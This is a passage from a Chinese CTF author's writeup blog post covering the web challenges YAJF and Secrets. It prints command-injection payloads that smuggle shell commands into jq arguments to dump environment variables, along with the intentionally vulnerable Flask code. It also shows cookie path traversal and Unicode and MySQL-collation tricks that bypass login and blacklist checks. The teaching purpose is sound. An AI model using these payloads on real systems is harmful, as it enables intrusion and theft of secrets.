|
|
<!DOCTYPE html><html lang="zh-CN"><head><meta charset="utf-8"><meta http-equiv="x-dns-prefetch-control" content="on"><meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no"><meta name="renderer" content="webkit"><meta name="force-rendering" content="webkit"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><meta name="HandheldFriendly" content="True"><meta name="mobile-web-app-capable" content="yes"><link rel="shortcut icon" href="https://hans362-img.oss.0vv0.top/favicon.ico"><link rel="icon" type="image/png" sizes="16x16" href="https://hans362-img.oss.0vv0.top/favicon-16x16.png"><link rel="icon" type="image/png" sizes="32x32" href="https://hans362-img.oss.0vv0.top/favicon-32x32.png"><link rel="apple-touch-icon" sizes="180x180" href="https://hans362-img.oss.0vv0.top/apple-touch-icon.png"><link rel="mask-icon" href="https://hans362-img.oss.0vv0.top/safari-pinned-tab.svg"><title>SJTU-CTF / GEEKCTF 2024 部分 Writeup | Hans362 's Blog</title><meta name="keywords" content="Web, 网络安全, CTF, Writeup, 解题报告, Hans362"><meta name="description" content="去年还是选手,今年变成出题人了( 这次有幸给校赛暨 GEEKCTF 出了 4 道 Web 题:YAJF、Secrets、SafeBlog2、PicBed,赛后决定在博客上公开一下出题人的部分 Writeup 供参考。"><meta property="og:type" content="article"><meta property="og:title" content="SJTU-CTF / GEEKCTF 2024 部分 Writeup"><meta property="og:url" content="https://blog.hans362.cn/post/sjtu-ctf-geekctf-2024-writeup/"><meta property="og:site_name" content="Hans362 's Blog"><meta property="og:description" content="去年还是选手,今年变成出题人了( 这次有幸给校赛暨 GEEKCTF 出了 4 道 Web 题:YAJF、Secrets、SafeBlog2、PicBed,赛后决定在博客上公开一下出题人的部分 Writeup 供参考。"><meta property="og:locale" content="zh_CN"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_609741124f06930fec9f4fdda79a602b.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_5cd644a87a173b384ef6fd06cb5cf227.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_319d22e1e326ed5a61efe1aa8870b38a.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_8ae6645994bf404e81f120c0ec13ccfd.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_75324ccf8786ed03807792537e8f2cfa.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_960c61966e9d028af0f69ff516ec347e.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_0d91d41befe4abbe3615e0a15d48ebdd.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_5a5ecc008107a7bfa5e2105a92507b2b.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_54f14bae17cbb265543caf9db2f9fe60.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_86491aa9953b23cab2077a3252e0b27e.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_a85c76779c223756bfff5dab211b5fd0.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_a51383fceaf1e1c150a2ffb245b23317.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_59abe693ecb4e0459571adaffd70824e.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_5d539cdcead23f4efa490c411b2eeba9.png"><meta property="og:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_3261f0da44e2723572be1bb8e8f58cd4.png"><meta property="article:published_time" content="2024-04-24T15:33:33.000Z"><meta property="article:modified_time" content="2025-04-11T10:35:15.359Z"><meta property="article:author" content="Hans362"><meta property="article:tag" content="Web"><meta property="article:tag" content="网络安全"><meta property="article:tag" content="CTF"><meta property="article:tag" content="Writeup"><meta property="article:tag" content="解题报告"><meta name="twitter:card" content="summary_large_image"><meta name="twitter:image" content="https://hans362-img.oss.0vv0.top/2024/04/24/upload_609741124f06930fec9f4fdda79a602b.png"><link rel="stylesheet" href="/css/style/main.css"><link rel="stylesheet" id="hl-default-theme" href="https://blog.hans362.cn/npm/highlight.js@10.1.2/styles/atom-one-light.css" media="none"><link rel="stylesheet" id="hl-dark-theme" href="https://blog.hans362.cn/npm/highlight.js@10.1.2/styles/atom-one-dark.css" media="none"><script src="/js/darkmode.js"></script><link rel="dns-prefetch" href="https://analytics.0vv0.top"><link rel="preconnect" href="https://hans362-img.oss.0vv0.top"><meta name="generator" content="Hexo 7.1.1"><link rel="alternate" href="/atom.xml" title="Hans362 's Blog" type="application/atom+xml"></head><body><div class="app-shell-loader">加载中...</div><div class="container" tabindex="-1"><header><div class="header__left"><a href="/" class="button"><span class="logo__text">Hans362 's Blog</span></a></div><div class="header__right"><div class="navbar__menus"><a href="/" class="button"><div class="navbar-menu">首页</div></a><a href="/archives/" class="button"><div class="navbar-menu">归档</div></a><a href="/tags/" class="button"><div class="navbar-menu">标签</div></a><a href="/bangumi/" class="button"><div class="navbar-menu">追番</div></a><a href="/links/" class="button"><div class="navbar-menu">友链</div></a><a href="/about/" class="button"><div class="navbar-menu">关于</div></a><a href="/atom.xml" class="button"><div class="navbar-menu">RSS</div></a></div><a href="/search/" class="button"><div id="btn-search"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1024 1024" width="24" height="24" fill="currentColor" stroke="currentColor" stroke-width="32"><path d="M192 448c0-141.152 114.848-256 256-256s256 114.848 256 256-114.848 256-256 256-256-114.848-256-256z m710.624 409.376l-206.88-206.88A318.784 318.784 0 0 0 768 448c0-176.736-143.264-320-320-320S128 271.264 128 448s143.264 320 320 320a318.784 318.784 0 0 0 202.496-72.256l206.88 206.88 45.248-45.248z"></path></svg></div></a><a href="javaScript:void(0);" rel="external nofollow noreferrer" class="button"><div id="btn-toggle-dark"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"></path></svg></div></a><a href="#" class="button" id="b2t" aria-label="回到顶部" title="回到顶部"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1024 1024" width="32" height="32"><path d="M233.376 722.752L278.624 768 512 534.624 745.376 768l45.248-45.248L512 444.128zM192 352h640V288H192z" fill="currentColor"></path></svg> </a><a class="dropdown-icon button" tabindex="0"><div id="btn-dropdown"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" width="24" height="24" fill="none" stroke="currentColor" stroke-width="0.7" stroke-linecap="round" stroke-linejoin="round"><path fill="currentColor" d="M3.314,4.8h13.372c0.41,0,0.743-0.333,0.743-0.743c0-0.41-0.333-0.743-0.743-0.743H3.314c-0.41,0-0.743,0.333-0.743,0.743C2.571,4.467,2.904,4.8,3.314,4.8z M16.686,15.2H3.314c-0.41,0-0.743,0.333-0.743,0.743s0.333,0.743,0.743,0.743h13.372c0.41,0,0.743-0.333,0.743-0.743S17.096,15.2,16.686,15.2z M16.686,9.257H3.314c-0.41,0-0.743,0.333-0.743,0.743s0.333,0.743,0.743,0.743h13.372c0.41,0,0.743-0.333,0.743-0.743S17.096,9.257,16.686,9.257z"></path></svg></div></a><div class="dropdown-menus" id="dropdown-menus"><a href="/" class="dropdown-menu button">首页</a> <a href="/archives/" class="dropdown-menu button">归档</a> <a href="/tags/" class="dropdown-menu button">标签</a> <a href="/bangumi/" class="dropdown-menu button">追番</a> <a href="/links/" class="dropdown-menu button">友链</a> <a href="/about/" class="dropdown-menu button">关于</a> <a href="/atom.xml" class="dropdown-menu button">RSS</a></div></div></header><cover></cover><main><div class="post-content"><div class="post-title"><h1 class="post-title__text">SJTU-CTF / GEEKCTF 2024 部分 Writeup</h1><div class="post-title__meta"><a href="/archives/2024/04/" class="post-meta__date button">2024-04-24</a> <span class="separate-dot"></span> <a href="/categories/%E6%B0%B4/" class="button"><span class="post-meta__cats">水</span></a><style>.post-meta__pv{color:var(--t-l);visibility:hidden;opacity:0;transition:.2s}</style><span class="separate-dot"></span> <span class="post-meta__pv"></span></div></div><aside class="post-side"><div class="post-side__toc"><div class="toc-title">文章目录</div><ol class="toc"><li class="toc-item toc-level-2"><a class="toc-link" href="#yajf"><span class="toc-text">YAJF</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#secrets"><span class="toc-text">Secrets</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#safeblog2"><span class="toc-text">SafeBlog2</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%A2%84%E6%9C%9F%E8%A7%A3"><span class="toc-text">预期解</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%9D%9E%E9%A2%84%E6%9C%9F%E8%A7%A3"><span class="toc-text">非预期解</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#picbed"><span class="toc-text">PicBed</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%80%BB%E7%BB%93"><span class="toc-text">总结</span></a></li></ol></div></aside><a class="btn-toc button" id="btn-toc" tabindex="0"><svg viewBox="0 0 1024 1024" width="32" height="32" xmlns="http://www.w3.org/2000/svg"><path d="M128 256h64V192H128zM320 256h576V192H320zM128 544h64v-64H128zM320 544h576v-64H320zM128 832h64v-64H128zM320 832h576v-64H320z" fill="currentColor"></path></svg></a><div class="toc-menus" id="toc-menus"><div class="toc-title">文章目录</div><ol class="toc"><li class="toc-item toc-level-2"><a class="toc-link" href="#yajf"><span class="toc-text">YAJF</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#secrets"><span class="toc-text">Secrets</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#safeblog2"><span class="toc-text">SafeBlog2</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%A2%84%E6%9C%9F%E8%A7%A3"><span class="toc-text">预期解</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%9D%9E%E9%A2%84%E6%9C%9F%E8%A7%A3"><span class="toc-text">非预期解</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#picbed"><span class="toc-text">PicBed</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%80%BB%E7%BB%93"><span class="toc-text">总结</span></a></li></ol></div><article class="post post__with-toc card"><div class="post__header"><div class="post__expire" id="post-expired-notify"><p><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16" style="fill:#f5a623;stroke:#f5a623"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg> 本文最后更新于 <span id="expire-date"></span> 天前,文中部分描述可能已经过时。</p></div><script>(()=>{var e=Date.parse("2024-04-24"),t=(new Date).getTime(),t=Math.floor((t-e)/864e5);120<=t&&(document.querySelectorAll("#expire-date")[0].innerHTML=t,document.querySelectorAll("#post-expired-notify")[0].style.display="block")})()</script></div><div class="post__content"><html><head><script>var meting_api="https://api-v2.hans362.cn/vip/?server=:server&type=:type&id=:id&r=:r"</script><script class="meting-secondary-script-marker" src="/js/Meting.min.js"></script></head><body><p>去年还是选手,今年变成出题人了(</p><p>这次有幸给校赛暨 GEEKCTF 出了 4 道 Web 题:YAJF、Secrets、SafeBlog2、PicBed,赛后决定在博客上公开一下出题人的部分 Writeup 供参考。</p><span id="more"></span><h2 id="yajf"><a class="markdownIt-Anchor" href="#yajf"></a> YAJF</h2><p>Yet Another JSON Formatter.</p><p>Do you know <code>jq</code>? <code>jq</code> is a lightweight and flexible JSON processor.</p><p>P.S. The flag is inside an environment variable.</p><details><summary>答题情况</summary><p>SJTU-CTF 5 Solves / 764 pts</p><p><code>0ops{rC3_1S_5o_eEEe@sY_hHhhHHH}</code></p><p>GEEKCTF 27 Solves / 297 pts</p><p><code>flag{rC3_1S_5o_eEEe@sY_hHhhHHH}</code></p></details><hr><p>一个在线 JSON 格式化工具,考察命令注入。</p><p>通过抓包不难发现,该工具是把原始 JSON 以及格式化参数 POST 到后端进行处理的。题目描述中已经明示使用了 <a target="_blank" rel="noopener" href="https://jqlang.github.io/jq/"><code>jq</code></a>,而 <a target="_blank" rel="noopener" href="https://jqlang.github.io/jq/"><code>jq</code></a> 是一个命令行工具,并且传入的几种格式化参数刚好和 <a target="_blank" rel="noopener" href="https://jqlang.github.io/jq/"><code>jq</code></a> 文档中的一致,不难嗅到一丝命令注入的味道。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_609741124f06930fec9f4fdda79a602b.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_609741124f06930fec9f4fdda79a602b.png" srcset="/loading.gif" alt=""></p><p>经过一番 Fuzz 可以发现,只控制传入的 <code>json</code> 是无法实现命令执行的,这其实是因为 <code>json</code> 是直接作为 <code>stdin</code> 输入的,并不是命令的一部分。而通过控制传入的 <code>args</code> 则可以实现命令执行,不过要求每个 <code>args</code> 的长度不能超过 5,且输出必须是合法的 JSON。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_5cd644a87a173b384ef6fd06cb5cf227.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_5cd644a87a173b384ef6fd06cb5cf227.png" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_319d22e1e326ed5a61efe1aa8870b38a.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_319d22e1e326ed5a61efe1aa8870b38a.png" srcset="/loading.gif" alt=""></p><p>要达到这些要求并不困难,一种简单的办法是使用管道符,将 <code>env</code> 命令的输出通过 <code>jq -R</code> 转换成合法的 JSON。在大家的 Writeup 中也看到了五花八门的解法,以下列举一些较为简短的供参考。</p><pre><code class="hljs plain">args=|env|&args=jq&args=-R&json={}
|
|
|
args=<<<&args=`env`&args=-R&json={}
|
|
|
args=;echo&args=\"&args=$FLAG&args=\"&json={}
|
|
|
args=;&args=echo&args=[\"&args=`&args=env&args=`&args=\"]</code></pre><details><summary>你知道吗</summary><p>单个数字、单个双引号包围的字符串都是合法的 JSON。</p></details><p>最后揭秘一下命令到底是怎么拼接的,不过都能执行命令了,拖一份源码出来看看应该也不难吧。</p><pre><code class="hljs python"><span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">"/"</span>, methods=[<span class="hljs-string">"GET"</span>, <span class="hljs-string">"POST"</span>]</span>)</span>
|
|
|
<span class="hljs-keyword">def</span> <span class="hljs-title function_">index</span>():
|
|
|
<span class="hljs-keyword">if</span> request.method == <span class="hljs-string">"POST"</span>:
|
|
|
args = request.form.getlist(<span class="hljs-string">"args"</span>)
|
|
|
json = request.form.get(<span class="hljs-string">"json"</span>, <span class="hljs-string">""</span>)
|
|
|
<span class="hljs-comment"># Limit argument length</span>
|
|
|
<span class="hljs-keyword">for</span> arg <span class="hljs-keyword">in</span> args:
|
|
|
<span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(arg) > <span class="hljs-number">5</span>:
|
|
|
<span class="hljs-keyword">return</span> render_template(
|
|
|
<span class="hljs-string">"index.html"</span>,
|
|
|
error=<span class="hljs-string">"One or more arguments are too long."</span>,
|
|
|
args=args,
|
|
|
json=json,
|
|
|
)
|
|
|
<span class="hljs-keyword">try</span>:
|
|
|
formatted = subprocess.check_output(
|
|
|
[<span class="hljs-string">"bash"</span>, <span class="hljs-string">"-c"</span>, <span class="hljs-string">f'jq . <span class="hljs-subst">{<span class="hljs-string">" "</span>.join(args)}</span>'</span>],
|
|
|
<span class="hljs-built_in">input</span>=json,
|
|
|
text=<span class="hljs-literal">True</span>,
|
|
|
stderr=subprocess.STDOUT,
|
|
|
)
|
|
|
<span class="hljs-comment"># Require output to be valid JSON</span>
|
|
|
<span class="hljs-keyword">try</span>:
|
|
|
subprocess.check_output(
|
|
|
[<span class="hljs-string">"jq"</span>, <span class="hljs-string">"."</span>], <span class="hljs-built_in">input</span>=formatted, text=<span class="hljs-literal">True</span>, stderr=subprocess.STDOUT
|
|
|
)
|
|
|
<span class="hljs-keyword">except</span> subprocess.CalledProcessError:
|
|
|
<span class="hljs-keyword">return</span> render_template(
|
|
|
<span class="hljs-string">"index.html"</span>,
|
|
|
error=<span class="hljs-string">"Oh, no! Formatted text isn't valid JSON! Are you a hacker?"</span>,
|
|
|
args=args,
|
|
|
json=json,
|
|
|
)
|
|
|
<span class="hljs-keyword">except</span> subprocess.CalledProcessError <span class="hljs-keyword">as</span> e:
|
|
|
<span class="hljs-keyword">try</span>:
|
|
|
error = e.output.splitlines()[<span class="hljs-number">0</span>].strip()
|
|
|
<span class="hljs-keyword">if</span> error.startswith(<span class="hljs-string">"jq: parse error:"</span>):
|
|
|
error = <span class="hljs-string">f"P<span class="hljs-subst">{error[<span class="hljs-number">5</span>:]}</span>"</span>
|
|
|
<span class="hljs-keyword">else</span>:
|
|
|
error = <span class="hljs-string">"Internal server error."</span>
|
|
|
<span class="hljs-keyword">except</span>:
|
|
|
error = <span class="hljs-string">"Internal server error."</span>
|
|
|
<span class="hljs-keyword">return</span> render_template(<span class="hljs-string">"index.html"</span>, error=error, args=args, json=json)
|
|
|
<span class="hljs-keyword">return</span> render_template(<span class="hljs-string">"index.html"</span>, args=args, json=formatted)
|
|
|
<span class="hljs-keyword">return</span> render_template(<span class="hljs-string">"index.html"</span>)</code></pre><h2 id="secrets"><a class="markdownIt-Anchor" href="#secrets"></a> Secrets</h2><p>My notes and secrets are stored in this secret vault. I’m sure no one can get them.</p><details><summary>答题情况</summary><p>SJTU-CTF 7 Solves / 684 pts</p><p><code>0ops{sTR1Ngs_WitH_tHE_s@mE_we1ghT_aRe_3QUAl_iN_my5q1}</code></p><p>GEEKCTF 43 Solves / 207 pts</p><p><code>flag{sTR1Ngs_WitH_tHE_s@mE_we1ghT_aRe_3QUAl_iN_my5q1}</code></p></details><hr><p>出题灵感来自于真实的攻击事件,考察文件包含、Python 字符大小写特性、MySQL 字符串比较特性。</p><p>打开网页只有一个登陆框,可以发现网页源代码中有一堆不知道是什么东西的奇怪注释,控制台也输出了一串神秘数字。这两处实际上是两个提示,并不是解出本题所必须的。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_8ae6645994bf404e81f120c0ec13ccfd.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_8ae6645994bf404e81f120c0ec13ccfd.png" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_75324ccf8786ed03807792537e8f2cfa.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_75324ccf8786ed03807792537e8f2cfa.png" srcset="/loading.gif" alt=""></p><p>控制台的神秘数字是八进制下的 ASCII 码,转换后得到字符串 <code>Don't you think the color picker is weird?</code>,提示我们去看页面右上角切换颜色的功能。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_960c61966e9d028af0f69ff516ec347e.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_960c61966e9d028af0f69ff516ec347e.png" srcset="/loading.gif" alt=""></p><details><summary>你知道吗</summary><p>对于这种奇奇怪怪的编码,可以使用 <a target="_blank" rel="noopener" href="https://github.com/gchq/CyberChef">CyberChef</a> 的 Magic 功能进行自动检测。</p></details><p>切换几次颜色并抓包,可以发现切换颜色时会先请求 <code>/setCustomColor</code> 接口,响应中会 <code>Set-Cookie</code>。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_0d91d41befe4abbe3615e0a15d48ebdd.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_0d91d41befe4abbe3615e0a15d48ebdd.png" srcset="/loading.gif" alt=""></p><p>接着页面会从 <code>/redirectCustomAsset</code> 接口获取对应颜色的 CSS。不难发现这个接口会读取 Cookie 中的 <code>asset</code> 值,返回对应路径的 CSS 文件。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_5a5ecc008107a7bfa5e2105a92507b2b.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_5a5ecc008107a7bfa5e2105a92507b2b.png" srcset="/loading.gif" alt=""></p><p>页面源代码中的奇怪注释则是 Base85 编码后的目录结构。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_54f14bae17cbb265543caf9db2f9fe60.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_54f14bae17cbb265543caf9db2f9fe60.png" srcset="/loading.gif" alt=""></p><pre><code class="hljs plain">.
|
|
|
├── app.py
|
|
|
├── assets
|
|
|
│ ├── css
|
|
|
│ │ ├── pico.amber.min.css
|
|
|
│ │ ├── pico.azure.min.css
|
|
|
│ │ ├── pico.blue.min.css
|
|
|
│ │ ├── pico.cyan.min.css
|
|
|
│ │ ├── pico.fuchsia.min.css
|
|
|
│ │ ├── pico.green.min.css
|
|
|
│ │ ├── pico.grey.min.css
|
|
|
│ │ ├── pico.indigo.min.css
|
|
|
│ │ ├── pico.jade.min.css
|
|
|
│ │ ├── pico.lime.min.css
|
|
|
│ │ ├── pico.orange.min.css
|
|
|
│ │ ├── pico.pink.min.css
|
|
|
│ │ ├── pico.pumpkin.min.css
|
|
|
│ │ ├── pico.purple.min.css
|
|
|
│ │ ├── pico.red.min.css
|
|
|
│ │ ├── pico.sand.min.css
|
|
|
│ │ ├── pico.slate.min.css
|
|
|
│ │ ├── pico.violet.min.css
|
|
|
│ │ ├── pico.yellow.min.css
|
|
|
│ │ └── pico.zinc.min.css
|
|
|
│ └── js
|
|
|
│ ├── color-picker.js
|
|
|
│ ├── home.js
|
|
|
│ ├── jquery-3.7.1.min.js
|
|
|
│ └── login.js
|
|
|
├── gunicorn_conf.py
|
|
|
├── populate.py
|
|
|
├── requirements.txt
|
|
|
└── templates
|
|
|
├── base.html
|
|
|
├── index.html
|
|
|
└── login.html</code></pre><p>尝试修改 Cookie 中的 <code>asset</code> 把目录中的其他文件读出来,结果却返回 <code>Hacker!</code>,猜测可能是对路径开头做了检查。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_86491aa9953b23cab2077a3252e0b27e.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_86491aa9953b23cab2077a3252e0b27e.png" srcset="/loading.gif" alt=""></p><p>尝试用 <code>../</code> 绕过检查,发现读取成功,于是可以把整个网站的源码拖下来。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_a85c76779c223756bfff5dab211b5fd0.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_a85c76779c223756bfff5dab211b5fd0.png" srcset="/loading.gif" alt=""></p><p>网站的主要逻辑在 <code>app.py</code> 里,先看看登录部分的代码。</p><pre><code class="hljs python"><span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">"/login"</span>, methods=[<span class="hljs-string">"GET"</span>, <span class="hljs-string">"POST"</span>]</span>)</span>
|
|
|
<span class="hljs-keyword">def</span> <span class="hljs-title function_">login</span>():
|
|
|
<span class="hljs-keyword">if</span> session.get(<span class="hljs-string">"logged_in"</span>):
|
|
|
<span class="hljs-keyword">return</span> redirect(<span class="hljs-string">"/"</span>)
|
|
|
|
|
|
<span class="hljs-keyword">def</span> <span class="hljs-title function_">isEqual</span>(<span class="hljs-params">a, b</span>):
|
|
|
<span class="hljs-keyword">return</span> a.lower() != b.lower() <span class="hljs-keyword">and</span> a.upper() == b.upper()
|
|
|
|
|
|
<span class="hljs-keyword">if</span> request.method == <span class="hljs-string">"GET"</span>:
|
|
|
<span class="hljs-keyword">return</span> render_template(<span class="hljs-string">"login.html"</span>)
|
|
|
username = request.form.get(<span class="hljs-string">"username"</span>, <span class="hljs-string">""</span>)
|
|
|
password = request.form.get(<span class="hljs-string">"password"</span>, <span class="hljs-string">""</span>)
|
|
|
<span class="hljs-keyword">if</span> isEqual(username, <span class="hljs-string">"alice"</span>) <span class="hljs-keyword">and</span> isEqual(password, <span class="hljs-string">"start2024"</span>):
|
|
|
session[<span class="hljs-string">"logged_in"</span>] = <span class="hljs-literal">True</span>
|
|
|
session[<span class="hljs-string">"role"</span>] = <span class="hljs-string">"user"</span>
|
|
|
<span class="hljs-keyword">return</span> redirect(<span class="hljs-string">"/"</span>)
|
|
|
<span class="hljs-keyword">elif</span> username == <span class="hljs-string">"admin"</span> <span class="hljs-keyword">and</span> password == os.urandom(<span class="hljs-number">128</span>).<span class="hljs-built_in">hex</span>():
|
|
|
session[<span class="hljs-string">"logged_in"</span>] = <span class="hljs-literal">True</span>
|
|
|
session[<span class="hljs-string">"role"</span>] = <span class="hljs-string">"admin"</span>
|
|
|
<span class="hljs-keyword">return</span> redirect(<span class="hljs-string">"/"</span>)
|
|
|
<span class="hljs-keyword">else</span>:
|
|
|
<span class="hljs-keyword">return</span> render_template(<span class="hljs-string">"login.html"</span>, error=<span class="hljs-string">"Invalid username or password."</span>)</code></pre><p>显然以 <code>admin</code> 的身份登录是不可能的(不会有人能猜出 <code>os.urandom(128).hex()</code> 的结果吧),那么唯一的可能就是以 <code>alice</code> 的身份登录。但是 <code>alice</code> 用户名密码的判等逻辑有点奇怪,<code>isEqual()</code> 要求两个字符串小写不同,但是大写相同,乍一看这好像也不可能啊。不过反正 Unicode 字符<s>也不多</s>,统统枚举一遍看看吧,结果还真发现了 4 个。</p><pre><code class="hljs python"><span class="hljs-keyword">import</span> string
|
|
|
|
|
|
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">0</span>, <span class="hljs-number">0x10FFFF</span>):
|
|
|
c = <span class="hljs-built_in">chr</span>(i)
|
|
|
<span class="hljs-keyword">if</span> c.upper() <span class="hljs-keyword">in</span> string.ascii_uppercase <span class="hljs-keyword">and</span> c.lower() <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> string.ascii_lowercase:
|
|
|
<span class="hljs-built_in">print</span>(c, c.upper())</code></pre><pre><code class="hljs plain">ı I
|
|
|
ſ S
|
|
|
ſt ST
|
|
|
st ST</code></pre><p>于是用 <code>alıce</code> 作为用户名、<code>ſtart2024</code> 或 <code>start2024</code> 或 <code>ſtart2024</code> 作为密码就可以通过这段验证,以 <code>alice</code> 的身份登录。但是由于我们现在并不是<code>admin</code>,只能看到 <code>notes</code>。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_a51383fceaf1e1c150a2ffb245b23317.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_a51383fceaf1e1c150a2ffb245b23317.png" srcset="/loading.gif" alt=""></p><p>接下来的目标是越权访问 <code>secrets</code>,那就看看访问控制是如何实现的吧。</p><pre><code class="hljs python"><span class="hljs-built_in">type</span> = request.args.get(<span class="hljs-string">"type"</span>, <span class="hljs-string">"notes"</span>).strip()
|
|
|
<span class="hljs-keyword">if</span> (<span class="hljs-string">"secrets"</span> <span class="hljs-keyword">in</span> <span class="hljs-built_in">type</span>.lower() <span class="hljs-keyword">or</span> <span class="hljs-string">"SECRETS"</span> <span class="hljs-keyword">in</span> <span class="hljs-built_in">type</span>.upper()) <span class="hljs-keyword">and</span> session.get(
|
|
|
<span class="hljs-string">"role"</span>
|
|
|
) != <span class="hljs-string">"admin"</span>:
|
|
|
<span class="hljs-keyword">return</span> render_template(
|
|
|
<span class="hljs-string">"index.html"</span>,
|
|
|
notes=[],
|
|
|
error=<span class="hljs-string">"You are not admin. Only admin can view secre<u>ts</u>."</span>,
|
|
|
)</code></pre><p>这里的逻辑是,如果当前用户不是 <code>admin</code>,那么检查传入的 <code>type</code>,如果 <code>type</code> 小写后包含 <code>secrets</code> 或大写后包含 <code>SECRETS</code>,那么拒绝访问。乍一看似乎也没什么问题,但是这种黑名单的过滤机制值得我们怀疑一下是不是有办法绕过。</p><p>再仔细阅读一下代码,发现有两行看上去没啥用的断言,告诉我们数据库的 Character Set 是 <code>utf8mb4</code>,Collation 是 <code>utf8mb4_unicode_ci</code>。</p><pre><code class="hljs python"><span class="hljs-keyword">assert</span> character_set_database[<span class="hljs-number">0</span>] == <span class="hljs-string">"utf8mb4"</span>
|
|
|
<span class="hljs-keyword">assert</span> collation_database[<span class="hljs-number">0</span>] == <span class="hljs-string">"utf8mb4_unicode_ci"</span></code></pre><p>那么 Character Set 和 Collation 究竟是什么呢?查阅 MySQL 官方文档可以找到相应的解释。</p><blockquote><p>A character set is a set of symbols and encodings. A collation is a set of rules for comparing characters in a character set.</p></blockquote><p>我们注意到,Collation 决定了 Character Set 中的字符进行比较的规则。MySQL 中比较两个字符串是基于它们的 Weight,而 Weight 由 Collation 决定。我们只要使用 <code>utf8mb4_unicode_ci</code> Collation 中与 <code>secrets</code> 具有相同 Weight 的字符串即可。符合这样条件的字符串其实有很多,事实上 <code>secrets</code> 的 <code>ts</code> 被加上了下划线,已经暗示了一种解法,以下列举一部分解法供参考:</p><pre><code class="hljs plain">secreʦ
|
|
|
Śecrets
|
|
|
secre%00ts
|
|
|
